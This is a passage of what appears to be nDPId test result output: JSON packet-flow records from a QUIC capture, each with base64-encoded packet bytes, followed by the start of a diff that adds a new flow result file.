+1aW0a8fL0ZtFK4s3KN1QT+bjEv+k7nCxRdBtCyRawAkMIMtYUOa+ClftMFyiJmTnpXj+jqnq\/BKsq1KSZ2tKgfP3PRq2b\/pCxtCn2OiRsbEIQWfYDkSXUO63B34qnzAkqdDe7SHGLJYi0Kv8gtpTPlU\/DHGJl9HZ6Y6w14ZmJGvi07cOgMIqrzJRWCJitlQBU+el3ItNCb3zfOA6987q2Nh\/vO3GrAkLvwcoSHUQ\/wb4uyg+XGVTaFuipZgnrSeRWCU2HLd"} +02229{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"quic_q46.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559632338,"pkt_ts_usec":326456,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAAA4JDHCABFgAViAABAADURGCKZFLfLrB0q7AG7lZQFTv05QCBfwubo\/S73bE+bmwYgmsDQh3YSfUsmiOShuczK7c9AxkY\/dIcxXZjX\/G0S14ZN1OqJ22484LGW3De9h2adZ\/xrR7MuJsRbpuvfE+deIxijCSv6jfbEGeXAoDoXYe2dCDPIGZj0nwuoinqGko\/nXc0DAY5UFZuALCUu0NHq92MTK8UzNjVgfrhAUfAspfaWBmH4w\/gwGM0r9gX5rYn6Oi1qh0vHMZux+gWYUjKBMXpWSVovOVZv5X1Bxgn9jNRJsDa4eAiwTZv7OreRPjPwT5PaLIsBmveYa1XHjWq4pir\/qWJoB75JprCN\/TZnMj83+ZFBMiTF\/7MMJi4eQgz9247g2xGUa4ymDxwbZKLhNEEx95eLOEs3StC5ddvLuZNYOq5bhSynCM3QWj+KjKZ5+X0mq3j5oXTtTg5xV5j7UinFN3FWu7o1rM45HudYR\/6z9p0aAoafERG4lkjaQNWAltJkUIRk+osfCV\/0Dn3POzVP7qm0hBe6Stz6NV8aNpEg7x8QYgssID+innUR0LM+jK4DxyYqu+g+MKIDiMuBTzgO42wKRDtERSOz76nXVv636lDqJW4vicAnAwICBQ1JLD\/CHCjDHdKNTM73coHKdC+p1NBPNzu+KQ21hWTc3vYUOLoNYhY1bEU3xlgcPUKO2Z6Vr8ALa019ZbgWUoCsUdbqjrIs3au\/5JKemILGMym16oFRpAgJZq1lNHgnP1fYtMP4sHEMrzAqM+TARvRIUC6++LE7LQXASkjOSQVkDtA7aI516kDoFHxoLOrSkak\/Zh0gJwvmoSACS0TEQv8+c0qE7Jeky40PSm6zQ0jE1WE8C99Edv7nPV+A\/8qBEbi0KWZdmrERz7LyIZiM6nKPOlf7gbCh2Pc1f3C5Ips9Rs\/eiO8mcj6FRs6piZ+3aUPmv3+feWt9Sq4h5VqcBJUDz3lJlfj0vGg3nJcpHNGnykUo\/t4PXonZgEBS9seCslQSwBT\/Ws4ctOVdQgGO0REQDiSZMb+u4bQd6G\/+yC+BmdmtgO4p+fgMTlMOpJaVEo5V0OOLY3KEIOkCNGRbHXdCQ+w8ntkOw4t38CzJJJsuLmza4io6MQa6TW20m3wdVchAfh1zgUrm0BTZ+RSILOtTkXJWXtYpHthHNcS7d73bMClpobNZINStkdqCWGepNqHo5IbfPjC60VCoB4sNJrHew8MVKZyx4R2h+0xADu+wUn0wB9\/MhD+\/giszFu55Y\/rhd+7Ap3qCsyUL3aPMA6ZEgD9fOJZDR\/yH79i\/0Heupyhjz7ocIIowuq08c4Nqf5Z0T4aI3SA7y6XMb+ypxChMmbNXhbdmknIihXEPfiUlynLaISu5PT1MP+eA5qNP73pPJraLwAkfNyiUSg2as1up3Ni7jXqmdsGmwRMuamK3hJv4YnPo8ZEelVByi391UZ+mSPJF99nxtyEa7Ki7SRoQtfxxdEqS8rC\/nqNimAX7y1jOQt689WHXLT1LDdYzw4iNd6mXmX\/ZL63iXDLakfexEdrVpK\/FHowIBieT8pmhVpvH5kA0jmSHmu4yZpdq9oJ8Rk6Ha184uelSsJ5SmeZQ69vNiPFUYkYyg6Uj7UT6\/uVThHPG7FmDHS4kkUp5wgIeDWDJdSRM4qD+0Zmb2ft0lPIZrU7\/o+LHxSAOFkEWdxJ\/taDavDpsOqDlEI6Es60Swf6KQAuSF\/xIVNYvT7lSEhE3nZO0adlLzLNEiY0mCZWyO2aCVMF5TrZZD2mXMEpAl5usgu58AD6CORjSps68jZcopkO+EnvTZZktL3S1LK9TqVxj4\/Se"} +02227{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"quic_q46.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559632338,"pkt_ts_usec":330270,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAAA4JDHCABFgAViAABAADURGCKZFLfLrB0q7AG7lZQFTl4WQCdlXJPA0b3C7fNSSgqwS1JStZIt660h+ybsPQF4qDhLxmLVntmolTec9YqEn3lLtwcozQZOK5VkcnWsBTwDxObqEuoVCqPhctgHZ7IDvmSDe7jpwkcKM6JbmAQy0N3uj90tSDcYXywzapqT3Y732HVIuIcver6G\/WlN+HWvtFx7+pLczL5sxe2LgScSJjgjcoG0Wp2jkLLuVMSngA6i3V3JlLhHOoOLYWd2+7niEyYjVOiuFZNLHdRuQBtAuoWwvdbyh\/wYpNYy37X+xhbdEjZMZw+CKfJxtl7hzf1UKjNjMWS8XXPH\/n0TdIpYVYbTvUwUXCqv0JLLBvAHfxPkI8s02zcPXnMqJVjIerOBVDlnhcwO60jbbknhH0lChqD8NC2QVSs+dp6iMIbSv4hSnWMLoA5FTWyYNyfs8S6R3+k6yZBuBgtzhp6O83pV+tTjvfRM98ysMmfJHej2Kw7AtIW73zTpLDoWMIS5rXvdkTdjEMr8xMRNIC2qv\/hnM52tdeL+AX5sQJ+n\/EIH8thyaFJrMJ+P9AGj+FDOagD9vobhAvosO7CsleOS+qu87JCZIDgGMTq+gnI4+M\/TnhZbXRdfy+5Ewt\/UpMpIkkUUVoJ14\/tWPr2eZxLcO9BLQuNYTt4XIIPG0\/9uo1oU6ZsebCBqh8LkT8Q0GYkYxBO4QCyFuP0O0xEIeTH8e+wiObE8PUO9PEYYibeZLCaiEzeXONXNOmXw60jNDsXUe0fXBLIPaAxgBr1vr+HXrQv\/mIf8VkPa61OpmcpLyJaCyFtN+BcU25sQtD9dvXF2Z4sYwZyd8ndQQFFh3ArcHSkuzUabpl\/oCbv8I7vgHBszeYon0EOBkEAsKqd6A0xaZ8g0U9nD7nctcmOmNvCV\/jKEDH7rBUI6Q\/HFFKU\/zbHrqmXSJ0wu5At0CGxtPf2mJZ9JkhP5SvNCQMBH57Pgg6KA5uBktM78x7NlsOkeh2odzeYL3ZQAeNTMTsSgPvZte4jADydTA0IGzJoo1dYgWIguirT+QnFCGJk\/mhwTbHjORIk3cI3\/vzKKxbS10vvnF3d4f0hbgUX6JYzKDjI02pdDvz6pnJBcpaKpFTW7jmmqwa3Qyxugsw7xdRP2vKEstDE5AUMPU9X0P4k8FbiqAjOZCENOhWcQJIDOio4kPn56iOtDwlqxZwEeOO8sVLbcQK9BDXl0ZXdw3MH25NWXvdvGvS00AURhnVc6Qds4pcKHfuXtt0I97J4k8K3EJ+viU0OfkxB7x+5J\/+Ihr5S4exdmMfzoad5l0EyGGLRc\/v59rz5fK1iZdhYe4NE9MjEAJMr0FQguH7oAu0DHyKYYq2SYMUMMISXXXS5xbak4m\/HMmN7cQ5WzWucgOgECEUc1mml8Q2Z5Je12nKtKx6mzEN4IAGEdWaGMveZSvP19nldhoLpMNhh+ohtgDlWkeOM1hJMEHrTadIX18cLPOjkj2smYyum7qkaTYEXgQVijs5O61A0XLUbWdHtxDgZXQp7uPXNFTG54T\/B\/4noLC+GKAhC8tcjDE49MNDFFCQJWyMJUcoNcjEkulsLxXB7VEcUZC7eYcc8vXQWePmBr9z\/ipn31ppR0exsQ2peQp2fTXS+hrgEB3SEChlc34knLElB\/RRUbkmLyxKNwQGI0klmdKUJNG2rdrjWXU\/27KI9t0o8Ij9AbjdI7eMDj7E5AZohXEtQuu\/JHAFfAizq1z1\/1mrupzlzfKY\/SVpTPaTyDbPg964uH4zjxVO9n8wCB4482dHiY\/6qiPmrNXOWIoZpAClw8EiD9IVEzCGUI"} +02225{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"quic_q46.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559632338,"pkt_ts_usec":331213,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAAA4JDHCABFgAViAABAADURGCKZFLfLrB0q7AG7lZQFToQhQCjJgM\/8fBWRuUWAoe5gkJxxUi6vhqxr1\/06I\/PftbEkRSqb5rOrkku6ctCJvTyr\/emooIn7v1Tb1MPP+FymyKenwLP6MlEPl+CerraF1qXzhhQNxMr64gcUsyaGqf5mjNib9XYAaFaLJ0CA+pwSIzQJ0G1WvUZmO3ncZr4Mi\/JTUPDmT1oWBXtHvFAErfBQ0Sl7f1d37UsxFUuCCGkuII4JPq9B3F521VN\/R+4XKEIOPISOL8\/gu6uFKjK1mK\/KG0\/OvzNa8AbCvEk6HVORq4HAASSAi5DBSTOQsUv0Ojc4zW70cMcKwO14BMzKZ4W3NxzTrjG5tqWUAncaQBMYdZZ+CVQu4Ber7yYNRVJ7P7\/nvt1FlCkTFQi+y82ze+uIkaGWYCfWwiZDOVNjGH62ZYmOa6+FDqJSycShmbY0SFRuNIQR4\/bd6PV6sbUDiUXEMbD186BTEvM20PsoFha2WxSaOH\/BNsLAKfWI\/9jork996xOMfUhENzuW7B0HGWge76QpwEmI10x+xjt\/cZQb7bmWb9XQPrP+w16HbUicZhiTtDGbAdUU41eTHPFGjubtCAYsQhD1oJcPbQLFIHpwyfEKP5FUTQ0xhZV4ndXcUqvpcO35imHXCqsO9gRQCJnWOEoQWx5kySlu\/hUCOJXEdLZ9xg0MzuGoIgzdzChp1M1H3UjsP8zc31+BSS\/K3T3Yxfnco7Q6cSu+9qZfDiB3Z0wDO5buEXI9ZY+aC6prV17BjiIHPvkXxHPKHSMuYm6eL3ckHIm\/G1HMCtC3FYuv3xEeF4gobOul8Vm4e96pXUV3V\/VF\/F3ykexzRbVTy95IphOQUpozWXnEublepGWBlN7XJQgq1KK4GHYoN1zwitpya4WeA2HbZTHQhu1j3Fc0zosVvtOE5VpCDDqfG\/HbZ18p3i80Jv7KY+rAO2EsR8jNrtTA6JWM2ut5zOiTO6PRH4q2ygx367Jmoj0Crg5lNkCTE1CMPq2XYCSUxaP7RksJxGkr5PQ2187W7FXiXL34SjDCMRrQLf9FcNB38uyPmOJhPjv2X+R8UL067kU4YiEqavjrC9NGYA4hPKColLyhG8VSYLRXVWz0c3HuLoef\/0c1IRiwXklt5MXp9D6KiENRhNokKqz8S5TsOfICFUqVrWCJC8ZVFnWdevNy8LkrtXyyme\/SJJyNn13fcBAg2\/\/Y\/rHFNWTriTOW0vHEd0bZht8qgsN2CuqsuFVJ1Tf3cKHCrbfdjBY9ftFvESnp1B67BieWE2Xd+N1BTugLSmKQ+S4dWp0tNa7F7srEOuwI1y0q0MaUjA5OTTaUkkg2NirapWD8YlyHvEEFSSnzI515JmunJxPo5xuOakxpRbg7jCUY4PamTq1ZKk8HZPBcK6M8VDlqMP+ntn7TEa9vGDKwOYpaRGed07GU8jj9Ol5acawp7JpBMbH9rQA4qjO5z8GO2CtaCouPBHmBdO866jYJ3NsdJ7NLgmUTWZg43GyLVeR0sYwAje1oPXxvKHcx+D5c0dPM0D+ygVRUiRePfMhEBB6abaApClyOXngSMBcaC0nCP703xg98EwzwPOUOExJ+NeM0HVBKX5mVtQFrXQwIfiNWTjcAMHHhhbhiczjk28Ek4h1E8j8BHeZrrYOCQCzJx4MayDDa6gK2UM7gGWzkJZRp5glzSn8pNBkTgdJ+YCuck5e\/DMaRFM1B94ZZC0548+Uz1cNGOLu52nU8JmSWIOZ3EHEE6I06QXiivGD1uOQmmpipR7hgehX9GbARFbuseexTXVedXCBOB6HbveqN9+BUezww"} +02232{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"quic_q46.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559632338,"pkt_ts_usec":331213,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAAA4JDHCABFgAViAABAADURGCKZFLfLrB0q7AG7lZQFTkjBQCl3FdgKEhxjXOt2lWgZQEZrDNeIrC9tjxhy5MU3uyrMrpIgyng3E0jFkSYImYQ4naBO0qBTWbYi66CtDtjYHN8VQ11cdQOJUvvzoIc0KPx172tL596HynGYHU0zdoWUFHq02K\/lscJvxVTe\/klSm01zjp\/xivo5rp21I3IgaavPxch7a1i6t01T0qll2t0\/ZgmP6LYHm7\/TLqisqxzJY48mtOiCEn4CRId0VzHxX\/b1NsGM8oe1FxSFb8o8Ct42x3NYFnVtyUvjbKoe+skkwJH7TcG\/ls+r369ox1A3HC+FnEe7YpCGmzTBYCJ9x81+UqX26wF0o5Mcdh8misHxBMYhqV7ehS7VIRw0LXS0GA8pCnGKI6dA5YEL62UW3FiTMfw9mw0jOUPB3TqcqFVrIZPGSKq\/wzCmz6au3H9BriSI9wv2\/ZQ1EMqtUPN025LVXSn99RmMEeiVvCdSjV4K\/1PbhyKZRj22IQX2aFEmmg868HWtzhI\/AngE2CYmB0Z+5gmEpq1udxyFn3wkNFo1WELMtYNg72GP9roUhLpwxNkvuNez5RbNtN7c4BMHPDnjGQHcMX7kq5t0eT0vPe\/aec94O0ugGWqF70BXBf7KCcQ8OqC1YQZS5p0xOp6P20PH\/r9RSk4EXA\/aAEQG2HOJOw8bAX1IqGAEEsUd437fRHm2OoMzbCQENrN5WRMo+rQEoEguGBLQrPJwW8VsDAESGqM74Dv6rCOtf4PO74kXY8nLYiv4ixWwemjL16I5r1glP\/ORI6qtt1gC8dmGFI7Q5Zhq5f\/X\/vzlNF7ek5BaTh+1uGTtGao4LHSrGy\/IkWEBWeZca\/HgeSKWuqh+ZAQcxNBLjERki7TVMrcHK9LDRMOQcIhQ7E0bQ9YyN4YavGXxfKvc2nDDKLdBPLwG6fqMQtCbIcbVtt2DsOZUJ2pEvjFvq+77051WxCal1HZk9r724\/5xGzahWTfibs55pphsHeyulpB1fJ7lGQt\/2zjPvK5dnuEewJNCDhfC5PiP9lNFpqJr8h92Rze1XKdkw70xcXzhtvS4NwFHboqlNuJVJTUajNCzIdIFzxehK9UfubJfr8VZBeNJMRbySd3CTQuZ1xx4n0tDnCcpqPn4MCqoRE8me9ByDfJ4uofniYtXuBv9s+K3TtdCVS9YV\/w+1QjcVAxdcJ\/x5yVP2Bg\/pL3gvDrOBppPCTBO0wsDx2e6YS7I95EC8gjXIFi3H9U9nta0rLkVCSwAxvocEdFSSOV6cRoxSKTMS118elePysPz3pLZJXiaKuh\/BiILpDxM1Sn3TZ+wKeHhZYYfAajkqcd8JUG2wNVcwD\/W68v2skBEzLmCWyp87qf3K5ZrjkWDuGXP8M56YHawR0TNGxtrPtiQL1Esbbf5D+qgSPOSJKuDx0DT8mTbSNzTCwtfvA2y\/KR\/uYz26d8YJfmuTjDkKtwhaePNPw2GjrxCH3zFJkSY8KYEHID+qpbpzrO1Oe73LukEASeuPQy7VdVSEuw8z9whsS7JafcqDGDmEbMqXIOrwu6hZYvdvNkUxY7hTJjoFDOZJlyObexvZM3NIWLwhn\/etwdHUS7uas7MoXEMZP\/NeQKMm+PLCRy5+RIPVRuMe7UMwofeb\/8Hgg1qvlMrMiLrk5piRk\/fqkE9QVuA2iAPgR90ztLpeJJAwzwZB1eLB+7PWgEjTV4+WErH+tLv\/NO6d4iUCyqetpK1UOs3QDCTDQs7c1tojNuCNISZCmzjnhGIWuAHWADWd8bFPmxwngzYBJzOqLErhTTXT6vuNAFzOnQ62vgXl21O"} +02229{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"quic_q46.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559632338,"pkt_ts_usec":335209,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAAA4JDHCABFgAViAABAADURGCKZFLfLrB0q7AG7lZQFTvNwQC77GGg\/G2KJWbGGOgUszpAlF3KPEXfOEsYhxF3SWYHIa9DXYq6sfNQ6RxYrT02zGOqoohi5Wm+dCKA9SM7roCOGggUqH7XqpFsLEKnlgEDt1h5hG4sBrBMxs9WAOI0cOKmOIYWDytPX0s0jKJZ19nxGdtsmtIrnUIFw3Tu4LaXg8rF0YbrY5\/dYn02VniGV7YUUV3NecAgKcpToXj6AsqssLIUfUX7K918mtk6VOfBPijWiySKk6P8caGBy5s3akpkaLPpn3otCOlyCA4i5wKKQezmUL9Ey04BxX4oFCX+AzwpYogYWgECiZIo8wliQbQIEsMuV7P0Ayt29tDtCySzGzv32dpM3v3G3vZ1St0QRDf\/EBdXuVnmOaZUcOWjAG9YtwYpBQJqgFcDhnoCBMpKZkxcdiXMs4MUK5P2Z1PLnJX2oDBpC0WNrmACZGcJ0jlQEdtmVvVO\/+rVOKoFNkQiKK3L6pFMpzgGVv77HAWNX\/SD70yXQpmxIOuVYhj9Z5uD12RV7HOY+4SIBkknyyf35TMs\/\/PSTsQwTnAEVuTX\/TjhPrvkp7993JtGFiZ+nHu8CeK19n19nKFzEdy126USIXNbSAvNdbvFTbcuNXNdBqdgfIcsFrYEFZHy0Hc7LZ\/UjNCWuSBLjbsEvmj+eiYJjH19IOnHVU3v3Ci2YWd2BwMGqWiJfWyi6kUe52kFkDVMzboOuRpAgZMFEBP4d247loXK2Zf+RUXFfm7g0NxbgzU1CLn9G7USd2BVCXbfVve3a0gcTlCdHLZv\/\/Qj2hVA5AzMV\/mQSebhKKFRf7o+ozWkmXMt2Vbl5\/FrIteryQiZOtzobzVLuqomZt4k\/ilGWjGkYirOC1CJ2O5vJ8w5UH1mjsBWWwVUJe4gm42\/eFDmbxjEEpQAvjHQvnljeNV5HZBy1fFmRRE6strIrNogXoH9wqQXGQUR59di1YOzemzEoPs0c6o1S38U+vY77Ynkg\/Ljo41J3zNrf0Tff6DXwftU1e4cGZzoyLQfvhNCC9IoeU\/JcuYbuSP3wSUGC8NtV5MpUxY2ZZhpwLHngNcrRCFxPA\/mGDAMe0WzFTcrLmhLDOnaKrTXf6Sn0ULe3O45yMJ4bQh8Vyb53iP9DwQ8bN\/HgqDhaoumPzxIDCgwI8wTIAIfqPOHEWdNHMNFtBtxf1kNgS\/ef+cM65gFeh5IPIJ7dwTJF8CcqWkkZBBtPsMUvlxx5dbPk+8lQNQKtI8LVvvq+O7tgjK\/LIroc\/D94JFBBwI1lgbr+AX7OJszqSE\/jFakJA04DkaFGZazrVJg4AvpvtAEqrqebVHn1Eqs8oJxtgPZo1YZbkASpne3a3cnlu+6YBAGFR3eMV9nftmsgm4cfbpfGusOBdJac95Dce2cz+CwuAt4xR5ZvUuTolNRbruMFdtV\/KVojXxQtHNsLEDShE6aVLX1EDQl2aIWHCzKiyiMWgW2WZLeurdZqMNnXC4OvY1iNFHhbfsb3AoNpll7MM13zG7AmbyeG57M0k3YPuv0lxU1kxEP7RJDQFZa9i15aTsLIOsqJ0s2\/NPB2OS\/UPdz2gmssi0\/5Oqk+i+nvgiIwCJ03LZZ8DGHDzpdcczbO9qHsoOe7xrnqFcPZ+XaoLnbS1addQIib80\/tjGr1PkGqKlmlw\/3FQ0xUPuoWY55dEwSjzBykcd7iG93IJWEynOgk4AzHuDStVPsnhgt6Rch4DszaA9GtdvUllxevuKkhUWBI1+UHGLkt2WVYaWkgoW\/Ui2j3mz9lX0v38mwEEDdD6FMrYgTYO27z4nFYEm6y"} +02229{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"quic_q46.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559632338,"pkt_ts_usec":336220,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAAA4JDHCABFgAViAABAADURGCKZFLfLrB0q7AG7lZQFTtgRQC0JTGzsSSfYHzP1PXWgALe4t807BCb1pJ8OtHMred3ifs8lCxeen+k1HTK67t89Xh4IyU23v3zzGs\/vt\/l1KGzBejYwn3+KPgeJHTRiT2p8R7eWw80f3J0Av2vF1D5oHm4UWxXptodklomg9qq\/8jr2USOiFYQzo3adzMeinycSNmf17oLVHN65ksNW2MCSAdWUzouy+6knG3Q3RlUFGalVRJPLzsCLgA5me1zDTsBrC6+9OydLmIH\/\/GcllqACjP0ynheBL8Qqki\/SpyYnhRUGx6qf5Q3B7Auv+M9BKaUnG0WGpOVrXyv6exClL5nir0aXgIBVub3hoMIjlojZ8nnY+k2\/yx8jMdxDZjMiMH2LTL7kWuzZu2AHucyXCk7O65Wa4qztLYwnvu+KPkyyj3KyFKj3MkFO8WXfPRMVPFnUv6GWyzXRs4o5x\/y9IGW71H4C0+dutoeFmkCjnj9\/+1zubdqJ1aM3zdNK\/zUGMjwv33OMsbtLJgB5moNpFFfo1iBNS+Ys04x7R7slgWGF\/Lq+ZRnacAXWIbECyAxZUZwGNGvH0wIsJGX+5asIO+fzKNkhZanHeZm+XstrNaq2cl7UEy21PZHfIZNocs5P0aTp\/ynxPP\/hEl\/REEYrlgYCNyMZUCkglxeKl4MSJnMZCjiOlF6ay\/h6\/KpUa\/57z+604bmmNGorxk6\/e\/7a4UKpIwoOiUm+5AioA8Wi27msHfzUBiFsYVZLGVHyCxDtVz2Bj7y4nYohP2nkLWPVzCyUExgBB3CaMxi2Lou\/oDZ\/JJIPtu4\/F3sD1+cDyd2urf9Q82E0bQVddlXFr0erQYI9LuNI99bh4xjcXor8gNYDtMtDGxTuerTXXAlkVBbuVr2Fu7Cq7tpn2Yhm2nBbWh0JHSWTU4oc\/3z3hLxYtx9dqNICPf5n2woKdabnPgwPZBWJmn8Hj8lCpMk1j9qvYZ9HwsY4OGVKBl6E4se8\/kZZfnf6hozqLYdTA6OCsOHGqct1Ygc4ZKHRcnp0fyqFGXnM5WV5Mq64qKX+2Sk5jqrcd62OqfvAItRDyqc0VngUWmbsZWNd1ukwCBOsZYK+ER2kZljep2IdkvDHh8EttBGiZWwjS2xskQwzPyQFUIcEylowaqHnbG1leuX6G2Bih907hkuthTe4r9cfFIL33856R7Q31tuy8ZCFERUUzpJ5jKauZVv2Rzr2N03rc6giYsQ8MZYu2pKmfDIi31jlEY7cNKwl0Lh\/kvlM\/RAeuknFCDVDW8SlliC0UMyXISImeCsetAFr1ASL\/iYy+Rh\/aF0R6yzmRAZuTBW1zsOo3vLeQ4Lawe8yOOqcQdL4L9313Afkgz6kLIQ0V2GgV\/MM2r7Gi2iyX8UIrCA+KfofYyCoR7qdwR7YRFsXSYqmZiNAKD4TAsryPdbxIO5z05OmZx8YHcBy2S7qTFo2tT4K2kmL8DH7G0w9uqUeidJgQQgzNp0b5sB9M6VcC6YsKj8id9OBnfNlPsNHJt4UynPZUlnwpAlNgEuPaJ0fhjBxw4w+ruaRVv0ZxvStphtTiuR67VSybpixYhkJW8wfWklb6vRz1faeZps6i7LigZspWX93Xxi1URT0T+9rPhnbWiBzF7SoiEZWbfPTGDnJCuQmg4Q\/sRDWfebexQmJTgCmkMx3YaILcGvdnfZGsPj9bjh8Wh+c1yqEwfHZOT4vcUs2+0KJV6gMNs7vmNVaTtilGUm+n45TEjckEJm6Tg56MEsR2FNkNsVfM5aIxY9uOZFdgU+Oq3efzGBTLFZXdmZMtsx+acYNQlQZkA3J"} +02232{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"quic_q46.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559632338,"pkt_ts_usec":349062,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAAA4JDHCABFgAViAABAADURGCKZFLfLrB0q7AG7lZQFTvUmQDg1EsYe0Hw4IIPzfn8wfNQhwOn0an7tljSwOZL4zdhRBNyMoFMRXJWnT+JKgN4pD7+fWIL9i6DEJpDVoGv2Uyc4T98H8kDMlfM0Sh396kz9TxS6vHpzFRW0yVGhF1G1nZtl1xaVLcWveCedsquOHu81jW0KUPC3OoDp\/vKHQNGwirYR\/c2IfZ1n+Wgk2\/O5aff6LwgdCVhHe2qATBRrzTPV5+H0Yu9lzgjnKSLkjHWnmjpmMeSIqGkcf2eregarfZEY2xwaO\/nw\/WOXa7BfkHVKowB+nXXN7PNH3M9daCFDBW\/+VkpKhrCPdYP1t\/7E0UUqE0Yz+okqAkQjHzDyin94wgqnC3Wc\/dk\/5Qz19ilZRNzwK3pUXuPnSXCxzVgq88OPEsQ8pd63tOVj9LTagAmzkowopTI3NSBPFvLyss1AF9ywgLX\/LD2qE6DW6d+RhJ9dVonXLT5F6jPPkIu53iASUeZdvvk6aEeYpRVa097cV1XhheEEVhY7zNvTZpuYwuXokrR9TywT7+bmctPhCDvCJeAmXforkEv7U6w\/FYMbeorFMhloXX90EBwcIydyfhujAE9J1cFvFPvqUSF60S9yJ4ZJ8Ww98mnC2a7L1ezLjZcu3ZEnx5pqj7euzmW58dKwHNoGgrNJfNkryBfwXnZ3j55DDi68cXNIYf5Q1U2m4DzXZ\/ZzI\/YMYS6ayMDBOHPk8GqPmZfz7Z2ZZCAzck0fSzAcTz\/7eO8exGoQmraKj6BojVn1DsiqqpXi42NW5lTsYZdKOt8R08ZmwJkNm4upspaZgf0Fo\/Vr0j08sUjClYml0PQJPcMO8zb+nI4vhMF8nKybaZS9ejfMtgIuZuwqIlsGDSkn1h17\/dyiHg\/+N7YyjJbCBpp+srcxF59j1g1K5ac3HQMTS5XK3YUlWqk\/MS761E04dEyULtNCsXFvhz3qLEUM7ewLwe7VP7RHMk48mPcwYDtDI7BmoJGAQoIeObu6QUxjhKJlcpK9eCi+n+gqZJ2BQlMclF2xlgk0PvfNEKlsLlpbBPPtGuWfgMx3QxcGI9AgwygYjc3duP5soQrqak0aLYc\/9rp4DN\/4SbYQXygarZ3OQ08Ye7+JcJ84ykWDaA2s+mqBSWrOKarhbGH9TLSNj9RmuJLQ6e1siFVefkspM\/p5wVxegy+Tz4xhyoni7lOcF1PalxKJ6fDQGpRtSuP5KutRpSlGMla2CU4uErznmUC1RtEnon+OJoF2uIYRc3XTL5fWaIEldzBOS1KoV\/cETBkh3I5NYO+7ByOK8p6xXsWfTu2xXHaVtqJAeR7hr2v72QgPzvMDDO0Fd1zRBBPpEpLyRmtUYhSqPyb6zsMJOq1tqZn0dqBFbieqdA4EWoDsib6EoL6uXnHJJU\/3RYe\/\/kfmvNVIjoB\/Jq+mwlevm8YR+cP55qBHlh\/TeE2podzm6KHrNTyhnB+A4PXc2M4DhCdxhzvI4lyf5qctN0bFMx1D+srUAYtiabuLguT0sEwQUOImlr8oJOTLk\/1xXcGSq7\/Z9sR5K1Ogqu6caz5SHyFBMquy39RGYIpkYmRnJx+nTPNjV42v+uaEoQb7EjEnRSjpQozX1m6w\/Pk1cMQPKCtgOoQCiNT6Fy\/LAbjrARSIzAjEftlwNihrRen1igci8e84GbTrVMzc4lV1k0SZRckwFQwYvgXSLrH6NHBlH1osX7rTIwtvEYUB+2TUjSV2KHNqlKQqkW3g2WfmWzfNiABYo3Epcb2MEA+Erelxn2pv3qxh7\/w6h\/ZwfQ66atOb235o5f3HEPG+QzBvLrsa"} diff --git a/test/results/quic_q46_b.pcap.out b/test/results/quic_q46_b.pcap.out new file mode 100644 index 000000000..3abc39f6f --- /dev/null +++ b/test/results/quic_q46_b.pcap.out @@ -0,0 +1,17 @@ +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"quic_q46_b.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1561708873328,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"172.27.69.216","dst_ip":"110.231.134.35","src_port":45530,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 